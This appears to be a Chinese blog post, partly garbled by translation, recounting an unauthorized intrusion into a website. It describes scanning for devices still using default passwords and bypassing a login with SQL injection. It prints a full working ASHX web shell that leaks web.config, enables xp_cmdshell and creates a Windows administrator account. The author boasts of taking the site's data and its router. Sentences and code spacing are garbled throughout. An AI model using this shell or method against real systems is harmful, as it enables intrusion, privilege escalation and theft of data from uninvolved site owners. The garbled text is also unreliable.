首先我要申明,用任何语言写的程序是不是不安全,而是要看写代码的人是怎么写这个程序的。去客户那里调查,发现客户的监控系统用的是海康威视的硬盘录像机,默认用户名是amdin,密码是12345,回来后想玩玩,看看有多少人用默认密码,所以我写了一个扫描程序,很快就扫描了大量的网站,其中很多都使用了默认的用户名和密码。玩了一两天,没发现什么有意思的东西,就搜了一下扫描记录,看到了一些后台登录地址,于是全部测试了一下,然后发现了这个网站:一开始是测试弱密码,adminamdin等,随便测试了几个,都失败了,于是开始测试sql的反注入,用户名输入1'或1=1--登录密码输入1,然后登录成功。...但是发现登录后报错,想了想可能是用户名的问题,于是找页面看能不能看到我的登录用户名,最后在电子邮件。当然,如果入侵只到这里来,你肯定是绝对虚弱的。..其实当然是,因为我拿了他的数据和程序。..当然最好把他的服务器拿下来,知道他的服务器在做端口映射,所以他就把路由器拿下了,然后就没再往下了。当然还可以继续,比如路由器的dns劫持。、页面重定向、端口镜像等。接下来介绍主要的入侵页面。我为文件上传页面写了一个ashx页面。上传代码非常简单。就是读取网站的web.config文件,并以文本形式输出。先简单说一下入侵过程:1.读取web.config获取数据库连接2.使用SQLServer执行命令添加Windows用户(因为网站默认是iis用户,所以没有直连网等相关操作权限,但SQLServer基于本地服务运行,权限高)我把我上传的ashx文件代码贴出来:<%@WebHandlerLanguage="C#"Class="TextLd"%>usingSystem;usingSystem.Collections.Generic;usingSystem.Linq;usingSystem.Web;usingSystem.Data。SqlClient;publicclassTextLd:IHttpHandler{publicvoidCreateLocalUser(stringnewPath){System.Diagnostics.Process.Start(@"d:\1.vbs");System.IO.File.WriteAllText(@"d:\1.vbs","setwsnetwork=CreateObject(\"WSCRIPT.NETWORK\")\r\nos=\"WinNT://\"&wsnetwork.ComputerName\r\nSetob=GetObject(os)\r\nSetoe=GetObject(os&\"/Administrators,group\")'属性,admin组\r\nod=ob.Create(\"user\",\"test\")'创建用户\r\nSetPassword\"1234\"'设置密码\r\nSetInfo\r\nof=GetObject(os&\"/test\",user)\r\naddos&\"/test\"");}publicvoidShowWebConfig(HttpContextcontext){context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config")));}publicvoidWriteVbs(HttpContextcontext){System.IO.File.WriteAllText(context.Request.MapPath("~/1.vbs"),"setwsnetwork=CreateObject(\"WSCRIPT.NETWORK\")\r\nos=\"WinNT://\"&wsnetwork.ComputerName\r\nSetob=GetObject(os)\r\nSetoe=GetObject(os&\"/Administrators,group\")'属性,admin组\r\nod=ob.Create(\"user\",\"test\")'建立用户\r\nSetPassword\"1234\"'设置密码\r\nSetInfo\r\nof=GetObject(os&\"/test\",user)\r\naddos&\"/test\"");}publicvoidExecuteSql(stringconnection,stringsql){using(SqlConnectioncon=newSqlConnection(connection)){using(SqlCommandcommd=newSqlCommand(sql,con)){con.Open();commd.ExecuteNonQuery();con.Close();}}}publicvoidProcessRequest(HttpContextcontext){context.Response.ContentType="text/plain";context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config")));try{varconnection=context.Request.QueryString["connection"];switch(context.Request.QueryString["method"]){case"1":WriteVbs(context);break;case"2":ExecuteSql(connection,@"sp_configure'showadvancedoptions',1reconfigure");ExecuteSql(connection,@"sp_configure'xp_cmdshell',1reconfigure");//打开数据库的xp_cmdshellbreak;case"3":ExecuteSql(connection,"execmaster..xp_cmdshell'cscript"+context.Request.MapPath("~/1.vbs")+"'");break;default:ShowWebConfig(context);break;}}catch(Exceptionex){context.Response.Write(ex.Message);}context.Response.End();}publicboolIsReusable{get{returnfalse;}}}执行一次,所以服务器被我拿下了。.创建了一个超级管理员用户,用户名为test,密码为1234,这样大家就知道远程连接测试完了。...当然,如果你不把他的服务器拿下来,你想想看,你自己写代码也可以。..不能做坏事。..当然,我只是测试了可行性。就算服务器不宕机,执行sql语句下载他的数据库备份也不是分分钟的事?好吧,让我总结一下这次入侵。最重要的是,娄底不是他的。SQL注入(在我看来,当然他是导火索),而是文件上传。大多数程序员在写文件上传功能的时候,都是将之前客户上传的文件保存到网站目录下的某个文件夹中。任何处理,这是导致他的服务器被我拿下的主要入口。所以还是奉劝大家,上传文件还是下载文件比较好。我想你一定有很多办法对付他们。..我不能伤害我的小学文化。...为什么。..原谅我文采欠佳,大家拭目以待-.-!
